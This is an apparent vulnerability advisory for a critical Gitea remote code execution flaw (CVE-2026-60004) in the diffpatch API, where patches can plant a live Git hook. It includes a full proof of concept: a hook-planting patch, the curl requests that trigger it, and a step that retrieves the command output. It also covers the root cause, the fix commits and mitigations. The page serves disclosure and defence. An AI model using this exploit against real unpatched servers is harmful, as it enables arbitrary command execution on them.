critical · 9.8CVE-2026-60004Sep 8, 2026

CVE-2026-60004: Gitea Remote Code Execution via diffpatch Git Hook Injection

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any user with write access to a Gitea repository, which on a default install means anyone who can register an account, can plant an executable shell script as a Git hook and run arbitrary commands as…

Packagegitea.dev
Ecosystemgo
Affected>= 1.17.0, < 1.27.1
Fixed in1.27.1
CVE-2026-60004: Gitea Remote Code Execution via diffpatch Git Hook Injection

The problem

The POST /api/v1/repos/{owner}/{repo}/diffpatch endpoint in services/repository/files/patch.go applies attacker-controlled patches inside a temporary bare Git clone. In a bare clone the repository root IS $GIT_DIR, so any file written to hooks/ during patch application becomes a live, executable Git hook.

When the server runs Git 2.32 or later, Gitea adds the -3 (three-way fallback) flag to git apply. Submitting the same hook-planting patch twice creates an add/add collision; the three-way fallback then materialises the conflicting path to disk even though --cached was specified.

The resulting hooks/post-index-change script executes as the Gitea OS user the next time Git writes the index. On a default Gitea install, open registration lets an unauthenticated visitor register an account, create a repository, and reach this endpoint immediately.

Proof of concept

A working proof-of-concept for CVE-2026-60004 in gitea.dev, with the exact payload below.

bash
# Step 1: build the hook patch (sent twice to /api/v1/repos/<owner>/<repo>/diffpatch)
# The patch body that must be POST-ed twice:

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000000000000000000000000000000000000..<blob-sha1-of-hook>
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,<line-count> @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+output_blob=$({ /bin/sh -c 'id; uname -srm; pwd'; \
+  command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | \
+  git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | \
+  git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "command output\n" | \
+  GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \
+  GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \
+  git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/output-leak "$commit" || exit 7
+exit 0

# Step 2: POST the above patch body to the diffpatch endpoint TWICE
# First POST (authenticated, any repo-write token):
curl -s -X POST \
  -H "Authorization: Basic <base64(user:pass)>" \
  -H "Content-Type: application/json" \
  -d '{"content":"<patch-above>","message":"init","branch":"main","new_branch":"main"}' \
  https://gitea.example/api/v1/repos/<owner>/<repo>/diffpatch

# Second POST (identical body) -- triggers add/add collision and hook materialisation:
curl -s -X POST \
  -H "Authorization: Basic <base64(user:pass)>" \
  -H "Content-Type: application/json" \
  -d '{"content":"<patch-above>","message":"init","branch":"main","new_branch":"main"}' \
  https://gitea.example/api/v1/repos/<owner>/<repo>/diffpatch

# Step 3: fetch command output written to the result branch
git clone --branch output-leak \
  https://user:pass@gitea.example/<owner>/<repo>.git /tmp/out
cat /tmp/out/output
# uid=1000(git) gid=1000(git) groups=1000(git)
# Linux 6.x.x x86_64
# /data/gitea/tmp/...
# [exit-status=0]

The root cause is that patch.go used a bare temporary clone as the workspace for git apply --index --cached -3. In a bare repo the directory root equals $GIT_DIR, so writing hooks/post-index-change into the index is the same as writing an active Git hook.

The patch diff (commit 470d34b) adds the comment "here must NOT use bare repo, because the following git commands might operate working tree (--index) directly" and switches the clone to non-bare, separating $GIT_DIR from the working tree and making hook paths inert.

The -3 three-way fallback (added only for Git >= 2.32) is the trigger: when the same file is added by two successive patches, Git detects an add/add collision and falls back to a three-way merge that checks the file out to disk even though --cached was requested.

This is CWE-94: the patch content is attacker-controlled code that Git itself executes, with no sandbox or allowlist on the path being applied.

The fix

Upgrade to Gitea 1.27.1 (commits 470d34b / d7bc52b, PRs #38637 and #38638). The fix switches the temporary clone used by ApplyDiffPatch from bare to non-bare, so hooks/ inside the patch resolves to the working tree rather than $GIT_DIR. As an interim mitigation, block the diffpatch API at your reverse proxy (location ~* /api/v1/.*/diffpatch { deny all; }) and disable open registration (DISABLE_REGISTRATION = true in app.ini).

Neither mitigation fixes the underlying flaw; upgrade is required.

Reported by Shai Rod (NightRang3r).

References: [1][2][3][4][5][6]

Related research